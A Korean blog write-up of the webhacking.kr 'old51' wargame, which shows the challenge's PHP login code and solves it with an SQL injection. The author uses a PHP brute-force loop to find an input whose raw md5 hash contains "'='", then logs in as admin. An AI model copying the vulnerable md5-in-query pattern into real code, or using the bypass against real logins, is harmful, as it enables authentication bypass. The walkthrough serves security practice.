webhacking.kr - old51

2021. 3. 25. 10:48WarGame/webhaking.kr

처음 실행하면 위와 같은 이미지가 나오는데

소스코드를 확인하면

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 51</title>
<style>
table{ color:lightgreen;}
</style>
</head>
<body bgcolor=black><br><br>
<font color=silver>
<center><h1>Admin page</h1></center>
</font>
<?php
  if($_POST['id'] && $_POST['pw']){
    $db = dbconnect();
    $input_id = addslashes($_POST['id']);
    $input_pw = md5($_POST['pw'],true);
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall51 where id='{$input_id}' and pw='{$input_pw}'"));
    if($result['id']) solve(51);
    if(!$result['id']) echo "<center><font color=green><h1>Wrong</h1></font></center>";
  }
?>
<br><br><br>
<form method=post>
<table border=0 align=center bgcolor=gray width=200 height=100>
<tr align=center><td>ID</td><td><input type=text name=id></td></tr>
<tr align=center><td>PW</td><td><input type=password name=pw></td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
<font color=silver>
<div align=right><br>.<br>.<br>.<br>.<br><a href=./?view_source=1>view-source</a></div>
</font>
</form>
</body>
</html>

코드를 확인해보면

pw 를 md5로 변환한 후 비교하는 것을 볼 수 있습니다.

여기서 md5($_POST['pw'],true); 구문을 볼수 있는데 여기서 true를 주는 경우 md5된 구문에 = 이 포함될 수 있어서 sqli가 가능하다고 하더라고요.

<?php
for($i = 0; $i < 10000000; $i++) {
    if(strstr(md5($i, true),"'='")){
        echo $i;
        break;
    }
}

위와 같이 php코드를 작성하고,

돌리면

 

위와 같은 값을 얻을 수 있는데,

id = admin

pw = 1839431

 

을 넣어주면 해결됩니다.

 
 
 
 

'WarGame > webhaking.kr' 카테고리의 다른 글

webhacking.kr - old7  (0) 2021.03.29
webhacking.kr - old21  (0) 2021.03.25
webhacking.kr - old56  (0) 2021.03.24
webhacking.kr - old34  (0) 2021.03.23
webhacking.kr - old44  (0) 2021.03.19